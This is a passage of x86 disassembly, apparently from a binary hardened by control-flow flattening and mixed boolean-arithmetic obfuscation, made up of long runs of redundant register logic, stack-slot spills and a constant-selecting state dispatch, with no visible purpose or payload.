and al, 1
mov cl, 1
xor cl, 1
and cl, 1
or al, cl
mov cl, 1
xor cl, 1
and cl, 0
mov bl, 1
xor bl, 0
mov bh, bl
and bh, 1
mov ah, 1
xor ah, 1
and ah, 0
and bl, 1
or cl, bh
or ah, bl
xor cl, ah
mov byte [ebp - 0x1c423], cl
mov cl, dh
xor cl, 0xff
mov bl, al
xor bl, 0xff
mov ah, 1
xor ah, 1
mov bh, cl
and bh, 0xff
and dh, ah
mov byte [ebp - 0x1c425], dh
mov dh, bl
and dh, 0xff
and al, ah
mov byte [ebp - 0x1c424], al
mov al, byte [ebp - 0x1c425]
or bh, al
mov al, byte [ebp - 0x1c424]
or dh, al
mov al, byte [ebp - 0x1c423]
xor bh, dh
mov dh, byte [ebp - 0x1c401]
or cl, bl
xor cl, 0xff
or ah, 1
and cl, ah
or bh, cl
mov ah, al
and ah, 1
xor al, 1
or ah, al
mov al, bh
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
and bh, bl
mov cl, 1
xor cl, 1
and cl, 0
and bl, 1
or al, bh
or cl, bl
xor al, cl
xor ah, 0xff
mov cl, al
xor cl, ah
and cl, al
mov bh, ch
xor bh, 0xff
and bh, 0
mov ah, 1
xor ah, 0
and ch, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or bh, ch
or al, ah
xor bh, al
mov al, dh
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or al, dh
or ah, ch
xor al, ah
mov ah, 1
xor ah, 0
and ah, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 0
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or ah, bl
or ch, dh
xor ah, ch
mov byte [ebp - 0x1c420], ah
mov ah, bh
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ch, ah
and ch, 0xff
and bh, dh
mov byte [ebp - 0x1c422], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x1c421], al
mov al, byte [ebp - 0x1c422]
or ch, al
mov al, byte [ebp - 0x1c421]
or bh, al
mov al, byte [ebp - 0x1c420]
xor ch, bh
or ah, bl
xor ah, 0xff
or dh, 1
and ah, dh
or ch, ah
mov ah, 1
xor ah, 0
mov byte [ebp - 0x1c41d], ah
mov bh, al
xor bh, 0xff
mov dh, 1
xor dh, 1
and ah, 0xff
mov bl, dh
and bl, 0
mov byte [ebp - 0x1c41f], bl
mov bl, bh
and bl, 0xff
and al, dh
mov byte [ebp - 0x1c41e], al
mov al, byte [ebp - 0x1c41f]
or ah, al
mov al, byte [ebp - 0x1c41e]
or bl, al
mov al, byte [ebp - 0x1c41d]
xor ah, bl
mov bl, byte [ebp - 0x1c401]
or al, bh
xor al, 0xff
or dh, 1
and al, dh
or ah, al
mov dh, ch
xor dh, 0xff
and dh, 0
mov bh, 1
xor bh, 0
and ch, bh
mov al, 1
xor al, 1
and al, 0
and bh, 1
or dh, ch
mov ch, byte [ebp - 0x1c40b]
or al, bh
xor dh, al
xor dh, 0xff
xor ah, 0xff
mov al, 1
xor al, 1
or dh, ah
or al, 1
xor dh, 0xff
and dh, al
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
mov al, ch
xor al, 0xff
mov ah, bh
and ah, al
xor bh, 0xff
mov al, ch
and al, bh
or ah, al
xor ch, 0xff
mov al, ah
xor al, ch
and al, ah
mov byte [ebp - 0x1c414], al
mov ch, bl
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and bl, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or ch, bl
or al, ah
xor ch, al
mov ah, dl
xor ah, 0xff
mov al, ch
and al, ah
xor ch, 0xff
mov ah, dl
and ah, ch
or al, ah
xor dl, 0xff
mov ah, al
xor ah, dl
and ah, al
mov al, cl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov dl, cl
and dl, ch
or al, dl
mov byte [ebp - 0x1c419], al
mov dl, dh
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov al, dh
and al, ch
or dl, al
mov ch, 1
xor ch, 0
and ch, 0
mov bh, 1
xor bh, 0
mov bl, bh
and bl, 0
mov al, 1
xor al, 1
and al, 0
and bh, 1
or ch, bl
mov bl, byte [ebp - 0x1c419]
or al, bh
xor ch, al
mov bh, 1
xor bh, 0
mov al, bl
xor al, bh
and al, bl
xor cl, 0xff
mov bh, ch
xor bh, 0xff
mov bl, 1
xor bl, 1
or cl, bh
or bl, 1
xor cl, 0xff
and cl, bl
mov byte [ebp - 0x1c41c], cl
mov bh, 1
xor bh, 0
mov bl, dl
xor bl, bh
and bl, dl
mov byte [ebp - 0x1c416], bl
xor dh, 0xff
mov bh, ch
xor bh, 0xff
mov bl, 1
xor bl, 0
or dh, bh
or bl, 0
xor dh, 0xff
and dh, bl
mov bl, al
xor bl, 0xff
xor cl, 0xff
mov byte [ebp - 0x1c418], cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0x1c417], cl
mov bh, bl
and bh, 0
and al, cl
mov cl, byte [ebp - 0x1c41c]
mov byte [ebp - 0x1c41b], al
mov al, byte [ebp - 0x1c418]
and al, 0
mov byte [ebp - 0x1c41a], al
mov al, byte [ebp - 0x1c417]
and cl, al
mov al, byte [ebp - 0x1c41b]
or bh, al
mov al, byte [ebp - 0x1c41a]
or al, cl
mov cl, byte [ebp - 0x1c419]
xor bh, al
mov al, byte [ebp - 0x1c418]
or bl, al
mov al, byte [ebp - 0x1c417]
xor bl, 0xff
or al, 0
and bl, al
mov al, byte [ebp - 0x1c416]
or bh, bl
mov bl, al
and bl, dh
xor al, dh
or bl, al
mov al, bh
xor al, 0xff
and al, 0
mov byte [ebp - 0x1c415], al
mov al, 1
xor al, 0
and bh, al
mov dh, bl
xor dh, 0xff
and dh, 0
and bl, al
mov al, byte [ebp - 0x1c415]
or al, bh
or dh, bl
xor al, dh
mov bl, cl
and bl, dl
xor cl, dl
or bl, cl
mov cl, bl
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
and bl, dh
mov dl, 1
xor dl, 1
and dl, 0
and dh, 1
or cl, bl
or dl, dh
xor cl, dl
mov dl, ch
and dl, 0
xor ch, 0
or dl, ch
xor dl, 0xff
mov bh, cl
xor bh, dl
and bh, cl
mov dl, al
xor dl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov cl, dl
and cl, 0xff
and al, ch
mov bl, dh
and bl, 0xff
and bh, ch
or cl, al
mov al, byte [ebp - 0x1c414]
or bl, bh
xor cl, bl
or dl, dh
xor dl, 0xff
or ch, 1
and dl, ch
or cl, dl
mov byte [ebp - 0x1c40c], cl
mov dl, al
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov cl, al
and cl, ch
or dl, cl
mov byte [ebp - 0x1c410], dl
mov cl, ah
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
mov bl, ah
and bl, dh
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or cl, bl
or ch, dh
xor cl, ch
mov byte [ebp - 0x1c411], cl
mov ch, 1
xor ch, 1
and ch, 1
mov dh, 1
xor dh, 1
and dh, 1
or ch, dh
xor dl, 0xff
mov bl, 1
xor bl, 1
mov dh, 1
xor dh, 1
or dl, bl
or dh, 1
xor dl, 0xff
and dl, dh
mov bl, ch
xor bl, 0xff
mov dh, al
xor dh, bl
and dh, al
mov bl, 1
xor bl, 1
mov al, cl
xor al, bl
and al, cl
mov bl, ch
xor bl, 0xff
mov cl, ah
xor cl, bl
and cl, ah
mov ah, dl
and ah, dh
xor dl, dh
or ah, dl
mov dl, al
xor dl, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
mov dh, dl
and dh, 0xff
and al, bl
mov byte [ebp - 0x1c413], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x1c412], al
mov al, byte [ebp - 0x1c413]
and cl, bl
or dh, al
mov al, byte [ebp - 0x1c412]
or al, cl
mov cl, byte [ebp - 0x1c411]
xor dh, al
mov al, byte [ebp - 0x1c410]
or dl, bh
xor dl, 0xff
or bl, 1
and dl, bl
or dh, dl
mov bl, ah
xor bl, 0xff
mov dl, dh
and dl, bl
xor dh, 0xff
and ah, dh
or dl, ah
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
mov bh, ah
and bh, 0xff
and al, dh
mov byte [ebp - 0x1c40f], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x1c40e], al
mov al, byte [ebp - 0x1c40f]
and cl, dh
or bh, al
mov al, byte [ebp - 0x1c40e]
or al, cl
mov cl, byte [ebp - 0x1c40d]
xor bh, al
mov al, byte [ebp - 0x1c40c]
or ah, bl
xor ah, 0xff
or dh, 1
and ah, dh
or bh, ah
mov ah, bh
xor ah, 0xff
and ah, 0
mov bl, 1
xor bl, 0
and bh, bl
mov dh, 1
xor dh, 1
and dh, 0
and bl, 1
or ah, bh
or dh, bl
xor ah, dh
mov dh, ch
and dh, 1
xor ch, 1
or dh, ch
xor dh, 0xff
mov ch, ah
xor ch, dh
and ch, ah
mov ah, dl
and ah, ch
xor dl, ch
or ah, dl
mov ch, al
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
mov bl, al
and bl, dh
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or ch, bl
or dl, dh
xor ch, dl
mov dh, ah
xor dh, 0xff
xor ch, 0xff
mov dl, 1
xor dl, 0
or dh, ch
or dl, 0
xor dh, 0xff
and dh, dl
mov dl, ah
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and ah, ch
or dl, ah
xor dl, 0xff
mov bh, al
xor bh, dl
and bh, al
mov dl, dh
xor dl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
mov al, dl
and al, 0xff
and dh, ah
mov bl, ch
and bl, 0xff
and bh, ah
or al, dh
mov dh, byte [ebp - 0x1c40b]
or bl, bh
xor al, bl
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or al, dl
mov byte [ebp - 0x1c3fd], al
mov dl, cl
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
mov ch, cl
and ch, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dl, ch
or al, ah
xor dl, al
mov byte [ebp - 0x1c403], dl
mov ch, dh
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov al, dh
and al, ah
or ch, al
mov ah, 1
xor ah, 0
and ah, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 0
mov al, 1
xor al, 1
and al, 0xff
and bl, 1
or ah, bh
or al, bl
xor ah, al
mov bl, 1
xor bl, 0
mov al, dl
xor al, bl
and al, dl
xor cl, 0xff
mov bl, ah
xor bl, 0xff
mov dl, 1
xor dl, 1
or cl, bl
or dl, 1
xor cl, 0xff
and cl, dl
mov bl, 1
xor bl, 0
mov dl, ch
xor dl, bl
and dl, ch
mov byte [ebp - 0x1c407], dl
mov bl, ah
xor bl, 0xff
mov dl, dh
xor dl, bl
and dl, dh
mov byte [ebp - 0x1c408], dl
mov dl, al
xor dl, 0xff
mov bh, cl
xor bh, 0xff
mov dh, 1
xor dh, 1
mov bl, dl
and bl, 0xff
and al, dh
mov byte [ebp - 0x1c40a], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x1c409], al
mov al, byte [ebp - 0x1c40a]
and cl, dh
or bl, al
mov al, byte [ebp - 0x1c409]
or al, cl
mov cl, byte [ebp - 0x1c408]
xor bl, al
mov al, byte [ebp - 0x1c407]
or dl, bh
xor dl, 0xff
or dh, 1
and dl, dh
or bl, dl
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x1c404], dh
mov bh, cl
xor bh, 0xff
mov dl, 1
xor dl, 0
and dh, 0
and al, dl
mov byte [ebp - 0x1c406], al
mov al, bh
and al, 0
mov byte [ebp - 0x1c405], al
mov al, byte [ebp - 0x1c406]
and cl, dl
or dh, al
mov al, byte [ebp - 0x1c405]
or al, cl
mov cl, byte [ebp - 0x1c404]
xor dh, al
mov al, byte [ebp - 0x1c403]
or cl, bh
xor cl, 0xff
or dl, 0
and cl, dl
or dh, cl
mov cl, bl
xor cl, 0xff
and cl, 1
mov bh, 1
xor bh, 1
and bl, bh
mov dl, dh
xor dl, 0xff
and dl, 0xff
and dh, bh
or cl, bl
or dl, dh
xor cl, dl
mov dl, al
and dl, ch
xor al, ch
or dl, al
mov al, dl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and dl, ch
or al, dl
mov byte [ebp - 0x1c402], al
mov dl, 1
xor dl, 0
mov bl, ah
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ch, dl
and ch, 0
mov al, dh
and al, 0
mov bh, bl
and bh, 0
and ah, dh
or ch, al
mov al, byte [ebp - 0x1c402]
or bh, ah
mov ah, byte [ebp - 0x1c401]
xor ch, bh
or dl, bl
xor dl, 0xff
or dh, 0
and dl, dh
or ch, dl
xor ch, 0xff
mov dl, al
xor dl, ch
and dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov bh, al
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
mov ch, al
and ch, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or bh, ch
or cl, dl
xor bh, cl
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov cl, 1
xor cl, 1
and cl, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 1
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or cl, dh
or dl, ch
xor cl, dl
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, bh
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bh, cl
mov dh, ch
and dh, 0
and bl, cl
or dl, bh
or dh, bl
xor dl, dh
or al, ch
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov ch, 1
xor ch, 1
and ch, 0
mov cl, 1
xor cl, 0
mov dh, cl
and dh, 1
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ch, dh
or al, cl
xor ch, al
mov dh, ah
xor dh, 0xff
and dh, 0
mov cl, 1
xor cl, 0
and ah, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dh, ah
or al, cl
xor dh, al
mov ah, 1
xor ah, 0
and ah, 1
mov al, 1
xor al, 1
and al, 0
or ah, al
mov bh, ch
xor bh, 0xff
mov cl, 1
xor cl, 0
mov al, 1
xor al, 1
or bh, cl
or al, 1
xor bh, 0xff
and bh, al
mov al, ah
xor al, 0xff
xor al, 1
and al, 0xff
mov byte [ebp - 0x1c400], al
mov al, dh
xor al, 0xff
mov bl, 1
xor bl, 0
mov cl, 1
xor cl, 1
or al, bl
mov bl, byte [ebp - 0x1c401]
or cl, 1
xor al, 0xff
and al, cl
mov byte [ebp - 0x1c3ff], al
xor bl, 0xff
mov al, ah
xor al, 0xff
mov cl, 1
xor cl, 0
or bl, al
mov al, byte [ebp - 0x1c400]
or cl, 0
xor bl, 0xff
and bl, cl
mov cl, bh
and cl, al
xor bh, al
mov al, byte [ebp - 0x1c3ff]
or cl, bh
mov bh, al
and bh, bl
xor al, bl
or bh, al
mov al, cl
xor al, 0xff
and al, 0
mov byte [ebp - 0x1c3fe], al
mov al, 1
xor al, 0
and cl, al
mov bl, bh
xor bl, 0xff
and bl, 0
and bh, al
mov al, byte [ebp - 0x1c3fe]
or al, cl
mov cl, byte [ebp - 0x1c3fd]
or bl, bh
xor al, bl
mov bh, ch
and bh, dh
xor ch, dh
or bh, ch
mov ch, bh
xor ch, 0xff
and ch, 1
mov bl, 1
xor bl, 1
and bh, bl
mov dh, 1
xor dh, 1
and dh, 0xff
and bl, 1
or ch, bh
or dh, bl
xor ch, dh
mov dh, ah
and dh, 0
xor ah, 0
or dh, ah
xor dh, 0xff
mov ah, ch
xor ah, dh
and ah, ch
mov dh, al
and dh, ah
xor al, ah
or dh, al
mov ch, dh
xor ch, 0xff
and ch, 0
mov ah, 1
xor ah, 0
and dh, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or ch, dh
or al, ah
xor ch, al
mov al, dl
xor al, 0xff
mov ah, ch
and ah, al
xor ch, 0xff
mov al, dl
and al, ch
or ah, al
xor ah, 0xff
xor dl, 0xff
mov al, 1
xor al, 1
or ah, dl
or al, 1
xor ah, 0xff
and ah, al
mov bl, cl
xor bl, 0xff
and bl, 1
mov dl, 1
xor dl, 1
mov al, cl
and al, dl
or bl, al
mov dh, ah
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
mov al, ah
and al, dl
or dh, al
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
mov al, bl
xor al, 0xff
mov ch, 1
xor ch, 1
mov dl, 1
xor dl, 0
or al, ch
or dl, 0
xor al, 0xff
and al, dl
xor cl, 0xff
mov ch, bh
xor ch, 0xff
mov dl, 1
xor dl, 0
or cl, ch
or dl, 0
xor cl, 0xff
and cl, dl
mov ch, 1
xor ch, 1
mov dl, dh
xor dl, ch
and dl, dh
mov byte [ebp - 0x1c3f9], dl
mov ch, bh
xor ch, 0xff
mov dl, ah
xor dl, ch
and dl, ah
mov byte [ebp - 0x1c3f8], dl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x1c3fa], ah
mov ch, cl
xor ch, 0xff
mov dl, 1
xor dl, 0
and ah, 0
and al, dl
mov byte [ebp - 0x1c3fc], al
mov al, ch
and al, 0
mov byte [ebp - 0x1c3fb], al
mov al, byte [ebp - 0x1c3fc]
and cl, dl
or ah, al
mov al, byte [ebp - 0x1c3fb]
or al, cl
mov cl, byte [ebp - 0x1c3fa]
xor ah, al
mov al, byte [ebp - 0x1c3f9]
or cl, ch
mov ch, byte [ebp - 0x1c3f8]
xor cl, 0xff
or dl, 0
and cl, dl
or ah, cl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x1c3f4], dl
xor ch, 0xff
mov cl, 1
xor cl, 0
mov byte [ebp - 0x1c3f5], cl
and dl, 0
and al, cl
mov cl, byte [ebp - 0x1c3f8]
mov byte [ebp - 0x1c3f7], al
mov al, ch
and al, 0
mov byte [ebp - 0x1c3f6], al
mov al, byte [ebp - 0x1c3f5]
and cl, al
mov al, byte [ebp - 0x1c3f7]
or dl, al
mov al, byte [ebp - 0x1c3f6]
or al, cl
mov cl, byte [ebp - 0x1c3f5]
xor dl, al
mov al, byte [ebp - 0x1c3f4]
or al, ch
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov al, ah
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, ch
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0x1c3f3], al
mov al, bl
xor al, 0xff
mov dl, dh
xor dl, 0xff
mov cl, 1
xor cl, 0
mov ah, al
and ah, 0
and bl, cl
mov ch, dl
and ch, 0
and dh, cl
or ah, bl
or ch, dh
xor ah, ch
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov cl, ah
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and ah, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ah
or al, dl
xor cl, al
mov dl, 1
xor dl, 1
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov ah, dl
and ah, 0
mov al, ch
and al, 1
mov bl, dh
and bl, 0
and bh, ch
or ah, al
mov al, byte [ebp - 0x1c3f3]
or bl, bh
xor ah, bl
or dl, dh
xor dl, 0xff
or ch, 0
and dl, ch
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc71fce7d
mov ecx, 0x7ef3861d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b7b0], eax
jmp 0x4b3015
mov eax, dword [ebp - 0x1b648]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x1b641], al
mov ecx, dword [0x62b5d4]
mov eax, dword [0x62b5d0]
xor edx, edx
sub edx, 0
xor esi, esi
sub esi, 0xc981e539
add edx, esi
xor edi, edi
sub edi, edx
xor edx, edx
sub edx, 1
add edi, edx
add edi, 0x65d03c4c
sub edi, 0xc981e539
sub edi, 0x65d03c4c
mov esi, 0xa36a4897
add esi, 0
sub esi, ecx
sub esi, 0xa36a4897
xor edx, edx
sub edx, 0x3ab9ee89
sub edx, edi
add edx, 0x3ab9ee89
sub esi, 0xd00cd5dc
add esi, edx
add esi, 0xd00cd5dc
mov edx, 0x2d4425a5
add edx, 0
sub edx, esi
sub edx, 0x2d4425a5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl ch
mov al, bl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov cl, bl
and cl, dl
or al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov ah, 1
xor ah, 1
and ah, 1
mov cl, 1
xor cl, 1
and cl, 1
or ah, cl
mov cl, bl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov byte [ebp - 0x1c482], dl
mov cl, ch
xor cl, 0xff
and cl, 0
mov ah, 1
xor ah, 0
mov dh, ch
and dh, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or cl, dh
or al, ah
xor cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov al, 1
xor al, 1
and al, 1
mov dh, 1
xor dh, 1
mov bh, dh
and bh, 1
mov ah, 1
xor ah, 1
and ah, 0xff
and dh, 1
or al, bh
or ah, dh
xor al, ah
xor al, 0xff
mov ah, ch
xor ah, al
and ah, ch
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov byte [ebp - 0x1c488], al
mov cl, 1
xor cl, 0
and cl, 1
mov al, 1
xor al, 1
and al, 0
or cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dh, 1
xor dh, 1
and dh, 0
mov ah, 1
xor ah, 0
mov bh, ah
and bh, 1
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dh, bh
or al, ah
xor dh, al
mov ah, 1
xor ah, 0
xor dh, 0xff
mov al, 1
xor al, 0
or ah, dh
or al, 0
xor ah, 0xff
and ah, al
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov byte [ebp - 0x1c480], al
mov ah, 1
xor ah, 0
and ah, 1
mov al, 1
xor al, 1
and al, 0
or ah, al
mov dh, dl
xor dh, 0xff
and dh, 0
mov al, 1
xor al, 0
mov bh, dl
and bh, al
mov cl, ah
xor cl, 0xff
and cl, 0
and ah, al
mov al, byte [ebp - 0x1c480]
or dh, bh
or cl, ah
xor dh, cl
xor dh, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 0
or dh, dl
or cl, 0
xor dh, 0xff
and dh, cl
mov cl, bl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
and bl, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or cl, bl
or dl, ah
xor cl, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and al, ah
or dl, al
mov al, 1
xor al, 0
and al, 0
mov bh, 1
xor bh, 0
mov ah, bh
and ah, 0
mov bl, 1
xor bl, 1
and bl, 0
and bh, 1
or al, ah
mov ah, byte [ebp - 0x1c488]
or bl, bh
xor al, bl
mov bh, cl
and bh, dl
xor cl, dl
or bh, cl
mov cl, al
and cl, 0
xor al, 0
or cl, al
mov bl, bh
xor bl, 0xff
and bl, 1
mov dl, 1
xor dl, 1
and bh, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or bl, bh
or al, dl
xor bl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or bl, cl
or al, 1
xor bl, 0xff
and bl, al
mov dl, ah
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
and ah, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dl, ah
or al, cl
xor dl, al
mov bh, 1
xor bh, 0
and bh, 0
mov cl, 1
xor cl, 0
mov ah, cl
and ah, 0
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bh, ah
or al, cl
xor bh, al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x1c489], al
mov al, 1
xor al, 0
mov cl, al
and cl, 1
mov ah, 1
xor ah, 1
and ah, 0
and al, 1
mov byte [ebp - 0x1c487], al
mov al, byte [ebp - 0x1c489]
or al, cl
mov cl, byte [ebp - 0x1c488]
mov byte [ebp - 0x1c486], al
mov al, byte [ebp - 0x1c487]
or ah, al
mov al, byte [ebp - 0x1c486]
xor al, ah
mov ah, dl
and ah, bh
xor dl, bh
or ah, dl
mov bh, al
and bh, 1
xor al, 1
or bh, al
mov dl, ah
xor dl, 0xff
and dl, 1
mov al, 1
xor al, 1
and ah, al
mov al, byte [ebp - 0x1c480]
or dl, ah
xor dl, 0xff
xor bh, 0xff
mov ah, 1
xor ah, 1
or dl, bh
or ah, 1
xor dl, 0xff
and dl, ah
mov bh, al
xor bh, 0xff
and bh, 0
mov ah, 1
xor ah, 0
and al, ah
mov byte [ebp - 0x1c485], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x1c484], al
mov al, byte [ebp - 0x1c485]
and ah, 1
or bh, al
mov al, byte [ebp - 0x1c484]
or al, ah
xor bh, al
mov ah, ch
xor ah, 0xff
mov al, bh
and al, ah
xor bh, 0xff
mov ah, ch
and ah, bh
or al, ah
xor ch, 0xff
mov ah, al
xor ah, ch
and ah, al
mov al, dh
xor al, 0xff
mov bh, bl
xor bh, 0xff
mov ch, 1
xor ch, 1
or al, bh
or ch, 1
xor al, 0xff
and al, ch
mov bh, dh
xor bh, 0xff
mov ch, bl
and ch, bh
xor bl, 0xff
and dh, bl
or ch, dh
mov bh, al
and bh, ch
xor al, ch
or bh, al
mov al, dl
xor al, 0xff
mov dh, ah
xor dh, 0xff
mov ch, 1
xor ch, 1
or al, dh
or ch, 1
xor al, 0xff
and al, ch
mov ch, dl
xor ch, 0xff
mov bl, ah
and bl, ch
xor ah, 0xff
and dl, ah
or bl, dl
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x1c483], dh
mov ah, bl
xor ah, 0xff
mov dl, 1
xor dl, 0
and dh, 0
and al, dl
mov ch, ah
and ch, 0
and bl, dl
or dh, al
mov al, byte [ebp - 0x1c483]
or ch, bl
xor dh, ch
or al, ah
xor al, 0xff
or dl, 0
and al, dl
or dh, al
mov al, bh
xor al, 0xff
and al, 0
mov ah, 1
xor ah, 0
mov ch, bh
and ch, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or al, ch
or dl, ah
xor al, dl
xor al, 0xff
mov dl, dh
xor dl, al
and dl, dh
mov ah, dh
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and dh, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or ah, dh
or al, ch
xor ah, al
xor bh, 0xff
xor ah, 0xff
mov al, 1
xor al, 0
or bh, ah
or al, 0
xor bh, 0xff
and bh, al
mov al, dl
xor al, 0xff
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 0
mov ch, al
and ch, 0
and dl, ah
mov bl, dh
and bl, 0
and bh, ah
or ch, dl
mov dl, byte [ebp - 0x1c482]
or bl, bh
xor ch, bl
or al, dh
xor al, 0xff
or ah, 0
and al, ah
or ch, al
mov al, cl
xor al, 0xff
mov bh, dl
xor bh, al
and bh, dl
mov bl, dl
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
and dl, ah
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ah
or bl, dl
or al, cl
xor bl, al
mov al, bh
xor al, 0xff
mov dl, bl
xor dl, 0xff
mov cl, 1
xor cl, 1
mov dh, al
and dh, 0xff
and bh, cl
mov ah, dl
and ah, 0xff
and bl, cl
or dh, bh
or ah, bl
xor dh, ah
or al, dl
xor al, 0xff
or cl, 1
and al, cl
or dh, al
mov cl, dh
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov ah, dh
and ah, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ah
or al, dl
xor cl, al
mov ah, 1
xor ah, 1
xor cl, 0xff
mov al, 1
xor al, 1
or ah, cl
or al, 1
xor ah, 0xff
and ah, al
mov bl, 1
xor bl, 1
and bl, 0
mov cl, 1
xor cl, 0
mov dl, cl
and dl, 1
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bl, dl
or al, cl
xor bl, al
xor dh, 0xff
mov cl, bl
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov al, 1
xor al, 1
and al, 1
mov cl, 1
xor cl, 1
and cl, 1
or al, cl
xor al, 0xff
mov dl, 1
xor dl, 1
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov dl, 1
xor dl, 1
xor bl, 0xff
mov cl, 1
xor cl, 0
or dl, bl
or cl, 0
xor dl, 0xff
and dl, cl
mov cl, ah
and cl, dh
xor ah, dh
or cl, ah
mov byte [ebp - 0x1c481], cl
mov cl, al
xor cl, 0xff
mov bl, dl
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ah, cl
and ah, 0xff
and al, dh
mov bh, bl
and bh, 0xff
and dl, dh
or ah, al
mov al, byte [ebp - 0x1c481]
or bh, dl
